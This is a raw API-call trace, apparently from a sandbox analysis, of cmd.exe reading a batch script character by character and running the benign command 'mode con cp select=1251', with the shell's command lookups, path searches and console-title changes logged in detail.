MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b739970, cbMultiByte=1, lpWideCharStr=0x7ff75b743c4c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0062.026] _get_osfhandle (_FileHandle=0) returned 0x248 [0062.026] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.026] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75b739970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x58ed8ffc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b739970*, lpNumberOfBytesRead=0x58ed8ffc78*=0x1, lpOverlapped=0x0) returned 1 [0062.026] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b739970, cbMultiByte=1, lpWideCharStr=0x7ff75b743c4e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0062.026] _get_osfhandle (_FileHandle=0) returned 0x248 [0062.026] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.026] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75b739970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x58ed8ffc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b739970*, lpNumberOfBytesRead=0x58ed8ffc78*=0x1, lpOverlapped=0x0) returned 1 [0062.026] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b739970, cbMultiByte=1, lpWideCharStr=0x7ff75b743c50, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0062.026] _get_osfhandle (_FileHandle=0) returned 0x248 [0062.026] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.026] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75b739970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x58ed8ffc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b739970*, lpNumberOfBytesRead=0x58ed8ffc78*=0x1, lpOverlapped=0x0) returned 1 [0062.026] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b739970, cbMultiByte=1, lpWideCharStr=0x7ff75b743c52, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0062.026] _get_osfhandle (_FileHandle=0) returned 0x248 [0062.026] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.027] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75b739970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x58ed8ffc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b739970*, lpNumberOfBytesRead=0x58ed8ffc78*=0x1, lpOverlapped=0x0) returned 1 [0062.027] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b739970, cbMultiByte=1, lpWideCharStr=0x7ff75b743c54, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0062.027] _get_osfhandle (_FileHandle=0) returned 0x248 [0062.027] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.027] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75b739970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x58ed8ffc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b739970*, lpNumberOfBytesRead=0x58ed8ffc78*=0x1, lpOverlapped=0x0) returned 1 [0062.027] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b739970, cbMultiByte=1, lpWideCharStr=0x7ff75b743c56, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0062.027] _get_osfhandle (_FileHandle=0) returned 0x248 [0062.027] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.027] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75b739970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x58ed8ffc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b739970*, lpNumberOfBytesRead=0x58ed8ffc78*=0x1, lpOverlapped=0x0) returned 1 [0062.027] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b739970, cbMultiByte=1, lpWideCharStr=0x7ff75b743c58, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0062.027] _get_osfhandle (_FileHandle=0) returned 0x248 [0062.027] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.027] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75b739970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x58ed8ffc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b739970*, lpNumberOfBytesRead=0x58ed8ffc78*=0x1, lpOverlapped=0x0) returned 1 [0062.027] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b739970, cbMultiByte=1, lpWideCharStr=0x7ff75b743c5a, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0062.027] _get_osfhandle (_FileHandle=0) returned 0x248 [0062.027] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.027] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75b739970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x58ed8ffc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b739970*, lpNumberOfBytesRead=0x58ed8ffc78*=0x1, lpOverlapped=0x0) returned 1 [0062.027] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b739970, cbMultiByte=1, lpWideCharStr=0x7ff75b743c5c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0062.027] _get_osfhandle (_FileHandle=0) returned 0x248 [0062.027] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.027] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75b739970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x58ed8ffc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b739970*, lpNumberOfBytesRead=0x58ed8ffc78*=0x1, lpOverlapped=0x0) returned 1 [0062.027] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b739970, cbMultiByte=1, lpWideCharStr=0x7ff75b743c5e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0062.028] _get_osfhandle (_FileHandle=0) returned 0x248 [0062.028] GetFileType (hFile=0x248) returned 0x3 [0062.028] _get_osfhandle (_FileHandle=0) returned 0x248 [0062.028] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.028] _get_osfhandle (_FileHandle=1) returned 0x254 [0062.028] GetFileType (hFile=0x254) returned 0x3 [0062.028] _get_osfhandle (_FileHandle=1) returned 0x254 [0062.028] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x7ff75b739970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25 [0062.028] WriteFile (in: hFile=0x254, lpBuffer=0x7ff75b739970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x58ed8ffc18, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b739970*, lpNumberOfBytesWritten=0x58ed8ffc18*=0x18, lpOverlapped=0x0) returned 1 [0062.028] GetProcessHeap () returned 0x1bebb9c0000 [0062.028] RtlAllocateHeap (HeapHandle=0x1bebb9c0000, Flags=0x8, Size=0x4012) returned 0x1bebb9c8fe0 [0062.028] GetProcessHeap () returned 0x1bebb9c0000 [0062.028] RtlFreeHeap (HeapHandle=0x1bebb9c0000, Flags=0x0, BaseAddress=0x1bebb9c8fe0) returned 1 [0062.029] _wcsicmp (_String1="mode", _String2=")") returned 68 [0062.029] _wcsicmp (_String1="FOR", _String2="mode") returned -7 [0062.029] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7 [0062.029] _wcsicmp (_String1="IF", _String2="mode") returned -4 [0062.029] _wcsicmp (_String1="IF/?", _String2="mode") returned -4 [0062.029] _wcsicmp (_String1="REM", _String2="mode") returned 5 [0062.029] _wcsicmp (_String1="REM/?", _String2="mode") returned 5 [0062.029] GetProcessHeap () returned 0x1bebb9c0000 [0062.029] RtlAllocateHeap (HeapHandle=0x1bebb9c0000, Flags=0x8, Size=0xb0) returned 0x1bebb9c8320 [0062.029] GetProcessHeap () returned 0x1bebb9c0000 [0062.029] RtlAllocateHeap (HeapHandle=0x1bebb9c0000, Flags=0x8, Size=0x1a) returned 0x1bebb9c6a80 [0062.030] GetProcessHeap () returned 0x1bebb9c0000 [0062.030] RtlAllocateHeap (HeapHandle=0x1bebb9c0000, Flags=0x8, Size=0x38) returned 0x1bebb9c1850 [0062.030] GetConsoleOutputCP () returned 0x1b5 [0062.234] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff75b73fbb0 | out: lpCPInfo=0x7ff75b73fbb0) returned 1 [0062.234] SetThreadUILanguage (LangId=0x0) returned 0x409 [0063.256] GetConsoleTitleW (in: lpConsoleTitle=0x58ed8ffa60, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0063.763] malloc (_Size=0xffce) returned 0x1bebbbb0840 [0063.763] ??_V@YAXPEAX@Z () returned 0x1bebbbb0840 [0063.764] malloc (_Size=0xffce) returned 0x1bebbbc0820 [0063.764] ??_V@YAXPEAX@Z () returned 0x1bebbbc0820 [0063.766] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0063.766] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0063.766] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0063.766] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0063.766] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0063.766] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0063.766] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0063.766] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0063.766] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0063.766] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0063.766] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0063.766] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0063.767] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0063.767] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0063.767] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0063.767] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0063.767] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0063.767] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0063.767] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0063.767] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0063.767] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0063.767] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0063.767] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0063.767] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0063.767] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0063.767] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0063.767] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0063.767] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0063.767] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0063.767] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0063.767] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0063.767] _wcsicmp (_String1="mode", _String2="START") returned -6 [0063.767] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0063.767] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0063.767] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0063.767] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0063.767] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0063.767] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0063.767] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0063.768] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0063.768] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0063.768] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0063.768] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0063.768] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0063.768] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0063.768] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0063.768] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0063.768] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0063.768] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0063.768] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0063.768] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0063.768] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0063.768] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0063.768] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0063.768] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0063.768] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0063.768] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0063.768] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0063.768] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0063.768] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0063.768] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0063.768] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0063.768] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0063.768] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0063.768] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0063.768] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0063.768] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0063.769] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0063.769] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0063.769] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0063.769] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0063.769] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0063.769] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0063.769] _wcsicmp (_String1="mode", _String2="START") returned -6 [0063.769] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0063.769] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0063.769] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0063.769] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0063.769] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0063.769] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0063.769] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0063.769] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0063.769] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0063.769] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0063.769] _wcsicmp (_String1="mode", _String2="FOR") returned 7 [0063.769] _wcsicmp (_String1="mode", _String2="IF") returned 4 [0063.769] _wcsicmp (_String1="mode", _String2="REM") returned -5 [0063.769] ??_V@YAXPEAX@Z () returned 0x1 [0063.770] GetProcessHeap () returned 0x1bebb9c0000 [0063.770] RtlAllocateHeap (HeapHandle=0x1bebb9c0000, Flags=0x8, Size=0xffde) returned 0x1bebb9c8fe0 [0063.771] GetProcessHeap () returned 0x1bebb9c0000 [0063.771] RtlAllocateHeap (HeapHandle=0x1bebb9c0000, Flags=0x8, Size=0x42) returned 0x1bebb9c83e0 [0063.771] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10 [0063.771] malloc (_Size=0xffce) returned 0x1bebbbc0820 [0063.771] ??_V@YAXPEAX@Z () returned 0x1bebbbc0820 [0063.771] GetProcessHeap () returned 0x1bebb9c0000 [0063.771] RtlAllocateHeap (HeapHandle=0x1bebb9c0000, Flags=0x8, Size=0x1ffac) returned 0x1bebb9d8fd0 [0063.774] SetErrorMode (uMode=0x0) returned 0x0 [0063.774] SetErrorMode (uMode=0x1) returned 0x0 [0063.774] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x1bebb9d8fe0, lpFilePart=0x58ed8ff2e0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x58ed8ff2e0*="Desktop") returned 0x17 [0063.775] SetErrorMode (uMode=0x0) returned 0x1 [0063.775] GetProcessHeap () returned 0x1bebb9c0000 [0063.775] RtlReAllocateHeap (Heap=0x1bebb9c0000, Flags=0x0, Ptr=0x1bebb9d8fd0, Size=0x4a) returned 0x1bebb9d8fd0 [0063.775] GetProcessHeap () returned 0x1bebb9c0000 [0063.775] RtlSizeHeap (HeapHandle=0x1bebb9c0000, Flags=0x0, MemoryPointer=0x1bebb9d8fd0) returned 0x4a [0063.775] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff75b73bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0063.775] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0063.775] GetProcessHeap () returned 0x1bebb9c0000 [0063.775] RtlAllocateHeap (HeapHandle=0x1bebb9c0000, Flags=0x8, Size=0x1bc) returned 0x1bebb9c6c30 [0063.775] GetProcessHeap () returned 0x1bebb9c0000 [0063.775] RtlAllocateHeap (HeapHandle=0x1bebb9c0000, Flags=0x8, Size=0x368) returned 0x1bebb9d9030 [0063.787] GetProcessHeap () returned 0x1bebb9c0000 [0063.787] RtlReAllocateHeap (Heap=0x1bebb9c0000, Flags=0x0, Ptr=0x1bebb9d9030, Size=0x1be) returned 0x1bebb9d9030 [0063.787] GetProcessHeap () returned 0x1bebb9c0000 [0063.787] RtlSizeHeap (HeapHandle=0x1bebb9c0000, Flags=0x0, MemoryPointer=0x1bebb9d9030) returned 0x1be [0063.787] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff75b73bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0063.787] GetProcessHeap () returned 0x1bebb9c0000 [0063.787] RtlAllocateHeap (HeapHandle=0x1bebb9c0000, Flags=0x8, Size=0xe8) returned 0x1bebb9c6e00 [0063.789] GetProcessHeap () returned 0x1bebb9c0000 [0063.789] RtlReAllocateHeap (Heap=0x1bebb9c0000, Flags=0x0, Ptr=0x1bebb9c6e00, Size=0x7e) returned 0x1bebb9c6e00 [0063.789] GetProcessHeap () returned 0x1bebb9c0000 [0063.789] RtlSizeHeap (HeapHandle=0x1bebb9c0000, Flags=0x0, MemoryPointer=0x1bebb9c6e00) returned 0x7e [0063.790] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0063.790] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x58ed8ff050, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x58ed8ff050) returned 0xffffffffffffffff [0063.791] GetLastError () returned 0x2 [0063.791] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0063.791] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x58ed8ff050, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x58ed8ff050) returned 0xffffffffffffffff [0063.796] GetLastError () returned 0x2 [0063.796] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0063.796] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x58ed8ff050, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x58ed8ff050) returned 0x1bebb9c6e90 [0064.330] GetProcessHeap () returned 0x1bebb9c0000 [0064.330] RtlAllocateHeap (HeapHandle=0x1bebb9c0000, Flags=0x0, Size=0x28) returned 0x1bebb9c1890 [0064.330] FindClose (in: hFindFile=0x1bebb9c6e90 | out: hFindFile=0x1bebb9c6e90) returned 1 [0064.331] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0x58ed8ff050, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x58ed8ff050) returned 0x1bebb9c6e90 [0064.331] GetProcessHeap () returned 0x1bebb9c0000 [0064.331] RtlReAllocateHeap (Heap=0x1bebb9c0000, Flags=0x0, Ptr=0x1bebb9c1890, Size=0x8) returned 0x1bebb9c1890 [0064.331] FindClose (in: hFindFile=0x1bebb9c6e90 | out: hFindFile=0x1bebb9c6e90) returned 1 [0064.331] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1 [0064.331] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2 [0064.331] ??_V@YAXPEAX@Z () returned 0x1 [0064.331] GetConsoleTitleW (in: lpConsoleTitle=0x58ed8ff5d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0065.140] GetProcessHeap () returned 0x1bebb9c0000 [0065.140] RtlAllocateHeap (HeapHandle=0x1bebb9c0000, Flags=0x8, Size=0x21c) returned 0x1bebb9d9200 [0065.140] GetConsoleTitleW (in: lpConsoleTitle=0x1bebb9d9210, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0065.875] GetProcessHeap () returned 0x1bebb9c0000 [0065.875] RtlReAllocateHeap (Heap=0x1bebb9c0000, Flags=0x0, Ptr=0x1bebb9d9200, Size=0xaa) returned 0x1bebb9d9200 [0065.875] GetProcessHeap () returned 0x1bebb9c0000 [0065.875] RtlSizeHeap (HeapHandle=0x1bebb9c0000, Flags=0x0, MemoryPointer=0x1bebb9d9200) returned 0xaa [0065.875] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - mode con cp select=1251") returned 1 [0066.157] GetProcessHeap () returned 0x1bebb9c0000 [0066.157] RtlFreeHeap (HeapHandle=0x1bebb9c0000, Flags=0x0, BaseAddress=0x1bebb9d9200) returned 1 [0066.157] InitializeProcThreadAttributeList (in: lpAttributeList=0x58ed8ff4f0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x58ed8ff3e0 | out: lpAttributeList=0x58ed8ff4f0, lpSize=0x58ed8ff3e0) returned 1 [0066.157] UpdateProcThreadAttribute (in: lpAttributeList=0x58ed8ff4f0, dwFlags=0x0, Attribute=0x60001, lpValue=0x58ed8ff3cc, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x58ed8ff4f0, lpPreviousValue=0x0) returned 1 [0066.158] GetStartupInfoW (in: lpStartupInfo=0x58ed8ff480 | out: lpStartupInfo=0x58ed8ff480*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254)) [0066.158] GetProcessHeap () returned 0x1bebb9c0000 [0066.158] RtlAllocateHeap (HeapHandle=0x1bebb9c0000, Flags=0x8, Size=0x20) returned 0x1bebb9c6e90 [0066.158] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0066.158] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0066.158] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0066.158] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.158] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.158] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.158] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0066.158] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0066.158] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0066.158] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0066.158] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0066.158] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0066.158] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0066.158] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0066.158] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0066.158] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0066.158] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0066.158] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.158] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.159] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.159] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.159] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.159] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.159] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.159] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.159] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0066.159] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0066.159] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0066.159] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0066.159] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0066.159] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0066.159] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0066.159] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0066.159] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0066.159] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0066.159] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0066.159] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0066.159] GetProcessHeap () returned 0x1bebb9c0000 [0066.159] RtlFreeHeap (HeapHandle=0x1bebb9c0000, Flags=0x0, BaseAddress=0x1bebb9c6e90) returned 1 [0066.159] GetProcessHeap () returned 0x1bebb9c0000 [0066.159] RtlAllocateHeap (HeapHandle=0x1bebb9c0000, Flags=0x8, Size=0x12) returned 